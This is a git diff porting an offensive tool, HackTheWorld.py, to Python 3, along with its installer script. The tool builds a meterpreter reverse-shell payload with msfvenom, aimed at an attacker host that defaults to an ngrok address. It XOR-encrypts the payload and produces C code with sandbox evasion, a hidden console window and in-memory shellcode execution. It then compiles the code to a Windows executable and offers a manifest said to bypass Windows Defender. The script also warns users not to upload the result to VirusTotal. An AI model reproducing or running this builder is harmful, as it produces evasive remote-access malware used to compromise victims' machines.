diff --git a/HackTheWorld.py b/HackTheWorld.py index 053d676..9e9230f 100644 --- a/HackTheWorld.py +++ b/HackTheWorld.py @@ -1,193 +1,180 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # -*- coding: utf8 -*- -##terminal text colours code -#cyan='\e[0;36m' -#green='\e[0;32m' -#lightgreen='\e[0;32m' -#white='\e[0;37m' -#red='\e[0;31m' -#yellow='\e[0;33m' -#blue='\e[0;34m' -#purple='\e[0;35m' -#orange='\e[38;5;166m' -import random -import string -import argparse -from Crypto.Hash import MD5 import os -from termcolor import colored -shellcodeFile='./result/test.raw' -fileName='./result/encryptedShellcode.c' -Filename='./result/final' -def banner(): - return """ - _ _ _ _______ _ __ __ _ _ +import random +import string +import hashlib + + +colour_codes = { + "GREEN": "\033[1;32m", + "YELLOW": "\033[1;33m", + "MAGENTA": "\033[1;35m", + "CYAN": "\033[1;36m", + "BLUE": "\033[1;34m", + "RESET_ALL": "\033[0m", +} + +_print_base = lambda message, prefix, colour : f"{colour}[{prefix}]{colour_codes['RESET_ALL']} {message}" + + +def print_status(message): + """Indicate normal program output""" + return _print_base(message, "*", colour_codes["CYAN"]) + + +def print_query(message): + """Indicate user input expected""" + return _print_base(message, "?", colour_codes["YELLOW"]) + + +def print_success(message): + """Indicate success""" + return _print_base(message, "+", colour_codes["GREEN"]) + + +def print_error(message): + """Indicate failure""" + return _print_base(message, "!", colour_codes["MAGENTA"]) + + +def random_string(length=10): + # Return 11 character string where the first character is always a letter + return f"{random.choice(string.ascii_lowercase)}{''.join(random.choices(string.ascii_lowercase + string.digits, k=length))}" + + +def xor(data_as_bytes, key): + key_length = len(key) + key_int = list(map(ord, key)) + return bytes(((data_as_bytes[i] ^ key_int[i % key_length]) for i in range(len(data_as_bytes)))) + + +def writetofile(data, key, output_file): + shellcode = "\\x" + shellcode += "\\x".join(format(b, "02x") for b in data) + + names = [random_string() for _ in range(10)] + + if shellcode: + try: + with open(output_file, "w+") as f: + shellcode_lines = [] + shellcode_lines.append("#include \n#include \n\n") + shellcode_lines.append(f"BOOL {names[8]}() {{\nint Tick = GetTickCount();\nSleep(1000);\nint Tac = GetTickCount();\nif ((Tac - Tick) < 1000) {{\nreturn 0;}}\nelse return 1;\n}}\n\n") + shellcode_lines.append(f" int main () {{ \n HWND hWnd = GetConsoleWindow();\nShowWindow(hWnd, SW_HIDE);\nHINSTANCE DLL = LoadLibrary(TEXT(\"{names[2]}.dll\"));\nif (DLL != NULL) {{\nreturn 0;}}\n") + shellcode_lines.append(f"if ({names[8]}()) {{char * {names[4]} = NULL;\n{names[4]} = (char *)malloc(100000000);\nif ({names[4]} != NULL) {{\nmemset({names[4]}, 00, 100000000);\nfree({names[4]});\n") + shellcode_lines.append(f"\nchar {names[3]}[] = \"{shellcode}\";") + shellcode_lines.append(f"\n\nchar {names[7]}[] = \"{key}\";") + shellcode_lines.append(f"char {names[5]}[sizeof {names[3]}];\nint j = 0;\nfor (int i = 0; i < sizeof {names[3]}; i++) {{\nif (j == sizeof {names[7]} - 1) j = 0;\n{names[5]}[i] = {names[3]}[i] ^ {names[7]}[j];\nj++;\n}}\n") + shellcode_lines.append(f"void *{names[6]} = VirtualAlloc(0, sizeof {names[5]}, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\nmemcpy({names[6]}, {names[5]}, sizeof {names[5]});CreateThread(NULL, 0,{names[6]}, NULL, 0, NULL);\n\nwhile (1) {{\nif (!{names[8]}()) {{ return 0; }}\n}}\n}}\n}}\n}}\n") + f.writelines(shellcode_lines) + print(print_success(f"Encrypted Shellcode saved in [{output_file}]")) + except IOError as e: + print(print_error(f"[!] Could not write C++ code to [{output_file}]")) + raise SystemExit(e) + + +if __name__ == "__main__": + os.system("clear") + + print(f'''{colour_codes["GREEN"]} + | | | | | | |__ __| | \ \ / / | | | | | |__| | __ _ ___| | __ | | | |__ ___ \ \ /\ / /__ _ __| | __| | | __ |/ _` |/ __| |/ / | | | '_ \ / _ \ \ \/ \/ / _ \| '__| |/ _` | | | | | (_| | (__| < | | | | | | __/ \ /\ / (_) | | | | (_| | |_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| \/ \/ \___/|_| |_|\__,_| - - -""" -def rand(): - - return random.choice(string.ascii_lowercase) + ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) - -def xor(data, key): - l = len(key) - keyAsInt = map(ord, key) - return bytes(bytearray(( - (data[i] ^ keyAsInt[i % l]) for i in range(0,len(data)) - ))) - -def writetofile(data, key, cipherType,lport): - shellcode = "\\x" - shellcode += "\\x".join(format(ord(b),'02x') for b in data) - #print shellcode - global Filename - list1=[1,2,3,4,5,6,7,8,9,10] - for i in range(0,10): - #print rand() - list1[i]=rand() - - Filename="./result/final_"+lport+".c" - if shellcode != None: - try: - - f= open(Filename,"w+") - f.write(("#include \n#include \n\n")) - f.write("BOOL "+list1[8]+"() {\nint Tick = GetTickCount();\nSleep(1000);\nint Tac = GetTickCount();\nif ((Tac - Tick) < 1000) {\nreturn 0;}\nelse return 1;\n}\n\n") - f.write(" int main () { \n HWND hWnd = GetConsoleWindow();\nShowWindow(hWnd, SW_HIDE);\nHINSTANCE DLL = LoadLibrary(TEXT(\""+list1[2]+".dll\"));\nif (DLL != NULL) {\nreturn 0;}\n") - f.write("if ("+list1[8]+"()) {char * "+list1[4]+" = NULL;\n"+list1[4]+" = (char *)malloc(100000000);\nif ("+list1[4]+" != NULL) {\nmemset("+list1[4]+", 00, 100000000);\nfree("+list1[4]+");\n") - f.write("\nchar "+list1[3]+"[] = \""+shellcode+"\"; ") - f.write("\n\nchar "+list1[7]+"[] = \""+key+"\" ;") - f.write("char "+list1[5]+"[sizeof "+list1[3]+"];\nint j = 0;\nfor (int i = 0; i < sizeof "+list1[3]+"; i++) {\nif (j == sizeof "+list1[7]+" - 1) j = 0;\n"+list1[5]+"[i] = "+list1[3]+"[i] ^ "+list1[7]+"[j];\nj++;\n}\n") - f.write("void *"+list1[6]+" = VirtualAlloc(0, sizeof "+list1[5]+", MEM_COMMIT, PAGE_EXECUTE_READWRITE);\nmemcpy("+list1[6]+", "+list1[5]+", sizeof "+list1[5]+");CreateThread(NULL, 0,"+list1[6]+", NULL, 0, NULL);\n\nwhile (1) {\nif (!"+list1[8]+"()) { return 0; }\n}\n}\n}\n}\n") - f.close() - print color(("[+] Encrypted Shellcode saved in [{}]".format(Filename))) - except IOError: - print color(("[!] Could not write C++ code [{}]".format(Filename))) - -def color(string, color=None): - attr = [] - attr.append('1') - - if color: - if color.lower() == "red": - attr.append('31') - elif color.lower() == "green": - attr.append('32') - elif color.lower() == "blue": - attr.append('34') - return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) - - else: - if string.strip().startswith("[!]"): - attr.append('31') - return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) - elif string.strip().startswith("[+]"): - attr.append('32') - return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) - elif string.strip().startswith("[?]"): - attr.append('33') - return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) - elif string.strip().startswith("[*]"): - attr.append('34') - return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) - else: - return string - - - - -if __name__ == '__main__': - os.system("clear") - print color(banner(),"green") - print color(""" + + +{colour_codes['RESET_ALL']}''') + + print(f'''{colour_codes["BLUE"]} ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗ ~ Script By SKS ☪ ~ -██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝ +██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝ ~ Revised for Python3 by nimxj ~ ███████╗██║ ██████╔╝██║██████╔╝ ██║ ╚════██║██║ ██╔══██╗██║██╔═══╝ ██║ ███████║╚██████╗██║ ██║██║██║ ██║ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ - -""",'blue') - - #print color(" _____ _ __ _____\n / ____| |/ // ____|\n| (___ | ' /| (___\n \___ \| < \___ \ \n ____) | . \ ____) |\n|_____/|_|\_\_____/ \n ","red") - payload_type=raw_input(color((' [?] Enter Payload TYPE [tcp,https,tcp_dns]: '))) - if payload_type=="": - payload_type="tcp" - print color((" [+] Payload TYPE : "+payload_type)) - lhost=raw_input(color(' [?] Enter LHOST for Payload [LHOST] : ')) - if lhost=="": - lhost="0.tcp.ngrok.io" - print color((" [+] LHOST for Payload [LPORT] : "+lhost)) - lport=raw_input(color(' [?] Enter LPORT for Payload : ')) - print color((" [+] LPORT for Payload : "+lport)) - raw_payload='msfvenom -p windows/x64/meterpreter_reverse_'+payload_type+' LHOST='+ lhost +' LPORT='+ lport +' EXITFUNC=process --platform windows -a x64 -f raw -o ./result/test.raw' - print color('[✔] Checking directories...','green') - if not os.path.isdir("./result"): - os.makedirs("./result") - print colored(color("[+] Creating [./result] directory for resulting code files","green")) + +{colour_codes['RESET_ALL']}''') + + payload_type = input(print_query("Enter Payload TYPE [tcp,https,tcp_dns]: ")) + # If payload_type==None, default to "tcp" + payload_type = payload_type or "tcp" + print(print_success(f"Payload TYPE : {payload_type}")) + + lhost = input(print_query("Enter LHOST for Payload [LHOST]: ")) + # If lhost==None, default to "0.tcp.ngrok.io" + lhost = lhost or "0.tcp.ngrok.io" + print(print_success(f"LHOST for Payload [LPORT] : {lhost}")) + + lport = None + while not lport: + lport = input(print_query("Enter LPORT for Payload: ")) + print(print_success(f"LPORT for Payload : {lport}")) + + raw_payload = (f"msfvenom -p windows/x64/meterpreter_reverse_{payload_type} LHOST={lhost} LPORT={lport} EXITFUNC=process --platform windows -a x64 -f raw -o ./result/test.raw") + + print(print_status("Checking directories...")) + + print(print_status("Creating [./result] directory for resulting code files")) + os.makedirs("./result", exist_ok=True) os.system(raw_payload) - try: - with open(shellcodeFile) as shellcodeFileHandle: - shellcodeBytes = bytearray(shellcodeFileHandle.read()) - shellcodeFileHandle.close() - print (color("[*] Shellcode file [{}] successfully loaded".format(shellcodeFile))) - except IOError: - print (color("[!] Could not open or read file [{}]".format(shellcodeFile))) - quit() - - print (color("[*] MD5 hash of the initial shellcode: [{}]".format(MD5.new(shellcodeBytes).hexdigest()))) - print (color("[*] Shellcode size: [{}] bytes".format(len(shellcodeBytes)))) - masterKey = raw_input(color(' [?] Enter the Key to Encrypt Shellcode with : ')) - print (color("[+] XOR Encrypting the shellcode with key [{}]".format(masterKey))) - transformedShellcode = xor(shellcodeBytes, masterKey) - - cipherType = 'xor' - - - print color(("[*] Encrypted shellcode size: [{}] bytes".format(len(transformedShellcode)))) - - # Writing To File - - print color("[*] Generating C code file") - writetofile(transformedShellcode, masterKey, cipherType,lport) - + shellcode_output = "./result/test.raw" + with open(shellcode_output, encoding="utf-8", errors="ignore") as shellcode_output_handle: + shellcode_bytes = bytearray(shellcode_output_handle.read(), "utf8") + print(print_status(f"Shellcode file [{shellcode_output}] successfully loaded")) + except IOError as e: + print(print_error(f"Could not open or read file [{shellcode_output}]")) + raise SystemExit(e) + + print(print_status(f"MD5 hash of the initial shellcode: [{hashlib.md5(shellcode_bytes).hexdigest()}]")) + print(print_status(f"Shellcode size: [{len(shellcode_bytes)}] bytes")) + + master_key = input(print_query("Enter the Key to Encrypt Shellcode with: ")) + print(print_success(f"XOR Encrypting the shellcode with key [{master_key}]")) + transformed_shellcode = xor(shellcode_bytes, master_key) + + print(print_status(f"Encrypted shellcode size: [{len(transformed_shellcode)}] bytes")) + + # Writing To File + print(print_status("Generating C code file")) + source_file = f"./result/final_{lport}.c" + writetofile(transformed_shellcode, master_key, source_file) # Compiling - exe_name='./result/final_'+lport - print color('[+] Compiling file [{}] with Mingw Compiler '.format(Filename)) - - j="x86_64-w64-mingw32-gcc {} -o {}.exe".format(Filename,exe_name) - - os.system(j) - print color('[+] Compiled Sucessfully') - print color('[+] Removing Temp Files') - os.remove('./result/test.raw') - os.remove(Filename) - - man='wine mt.exe -manifest template.exe.manifest -outputresource:'+exe_name+'.exe;#1 ' - - bool =input(color('[*]Do you want to add Manifest (Generally Bypasses Windows Defender)[ 1 or 0 ]?')) - # Display Results - print color("\n==================================== RESULT ====================================\n") - if bool: - print color('[+] Adding Manifest ') - os.system(man) - print color('[+] Final File with Manifest [{}.exe] '.format(exe_name)) - else: - print color('[+] Final File [{}.exe] '.format(exe_name)) - - print color ('\n DO NOT UPLOAD ON VIRUS TOTAL \n',"red") - print color ('\n USE \"nodistribute.com \"\n',"green") - print color ('\n Happy Hacking \n',"green") - - + exe_name = f"./result/final_{lport}" + print(print_success(f"Compiling file [{source_file}] with Mingw Compiler ")) + compilation_string = f"x86_64-w64-mingw32-gcc {source_file} -o {exe_name}.exe" + os.system(compilation_string) + print(print_success("Compiled Sucessfully")) + print(print_success("Removing Temp Files")) + os.remove("./result/test.raw") + os.remove(source_file) + + manifest = f"wine mt.exe -manifest template.exe.manifest -outputresource:{exe_name}.exe;#1 " + + while generate_manifest:= input(print_query("Do you want to add Manifest (Generally Bypasses Windows Defender)? (Y/N) ")).lower().strip(): + if generate_manifest not in ("y", "n") or not generate_manifest: + print(print_error("Answer must be 'Y' or 'N'")) + continue + else: break + + # Display Results + print(f"\n{'='*36} RESULT {'='*36}\n") + + if generate_manifest == "y": + print(print_status("Adding Manifest")) + os.system(manifest) + print(print_success(f"Final File with Manifest [{exe_name}.exe]")) + else: + print(print_success(f"Final File [{exe_name}.exe]")) + print("\n") + print(print_error("DO NOT UPLOAD ON VIRUS TOTAL\n")) + print(print_status("USE nodistribute.com\n")) + print(print_success("Happy Hacking\n")) diff --git a/install.sh b/install.sh index 03cd504..ed97739 100644 --- a/install.sh +++ b/install.sh @@ -1,60 +1,49 @@ #!/bin/bash - -arch="$(uname -m)" -wine32=/usr/lib/wine/wine -#echo $arch -BOLD="\033[01;01m" # Highlight -RED="\033[01;31m" # Issues/Errors -GREEN="\033[01;32m" # Success -YELLOW="\033[01;33m" # Warnings/Information -RESET="\033[00m" -echo "" -if [ -e /usr/bin/msfvenom ]; then - echo -e $GREEN "[ ✔ ] Msfvenom ................[ found ]" +arch=$(head -n1 /etc/issue | cut -d' ' -f1) + +if [ -e /usr/bin/msfvenom ]; then + printf "[] Msfvenom is already installed.\n" +elif [ "$arch" = "Kali" ]; then + printf "[!] Msfvenom is not installed but this is Kali Linux.\n" + printf "[*] The Metasploit framework is available as a package via:\n" + printf "[*] apt install metasploit-framework\n" else - echo -e $RED "[ X ] Msfvenom -> not found " - echo -e "\n [*] ${YELLOW} Installing Metasploit-framework ${RESET}\n" - sudo apt-get install metasploit-framework - echo -e $GREEN " Start the install.sh File Again" - exit 0 - + printf "[!] Msfvenom is not installed at /usr/bin/msfvenom.\n" + printf "[*] If it's already installed and on your path, ignore this warning.\n" + printf "[*] Otherwise, you need to install the Metasploit framework (https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers).\n" fi -if [ -e /usr/bin/wine ]; then - echo -e $GREEN "[ ✔ ] Wine ....................[ found ]" +if [ -e /usr/bin/wine ]; then + printf "[] Wine is already installed.\n" else - echo -e $RED "[ X ] Wine -> not found " - sudo apt-get -qq update - echo -e "\n [*] ${YELLOW}Adding x86 architecture to x86_64 system for Wine${RESET}\n" - sudo dpkg --add-architecture i386 - sudo apt-get -qq update - sudo apt-get install wine - echo -e $GREEN " Start the install.sh File Again" - exit 0 + printf "[!] Wine is not installed.\n" + printf "[*] Updating the apt cache.\n" + sudo apt-get -qq update || exit 1 + + printf "\n[*]Adding x86 architecture to x86_64 system for Wine.\n" + sudo dpkg --add-architecture i386 || exit 1 + sudo apt-get install -y wine + + printf "Restart install.sh.\n" + exit 1 fi - -if [ -e /usr/bin/x86_64-w64-mingw32-gcc ]; then - echo -e $GREEN "[ ✔ ] Mingw-w64 Compiler.......[ found ]" -else - echo "deb http://http.kali.org/kali kali-rolling main non-free contrib -deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list - echo -e $RED "[ X ] Mingw-w64 -> not found " - #sudo apt-get install mingw-w64 mingw32 -y - sudo apt-get install mingw-w64 mingw32 --force-yes -y - echo -e $GREEN " Start the install.sh File Again" - exit 0 - +if [ -e /usr/bin/x86_64-w64-mingw32-gcc ]; then + printf "[] Mingw-w64 Compiler is already installed.\n" +elif [ "$arch" = "Kali" ]; then + for package in mingw-w64 mingw32; do + sudo apt-get install -y $package + done +else + printf "[!] Compilation requires Mingw-w64.\n" + printf "[!] Suggest using Kali Linux. Otherwise, you will need the mingw-w64 package.\n" + printf "[!] You may also need mingw32 depending on the age of your distro.\n" + printf "[*] Re-run install.sh when this is resolved.\n" + exit 1 fi -echo ""; - echo "[✔] Dependencies installed successfully! [✔]"; - echo ""; - echo "[✔]==========================================================================[✔]"; - echo "[✔] All is done!! You can execute by typing \"python HackTheWorld.py\" [✔]"; - echo "[✔]==========================================================================[✔]"; - echo ""; +printf "\nDependencies are installed successfully.\n" +printf "You can now execute by typing: \"python HackTheWorld.py\"\n" exit 0 -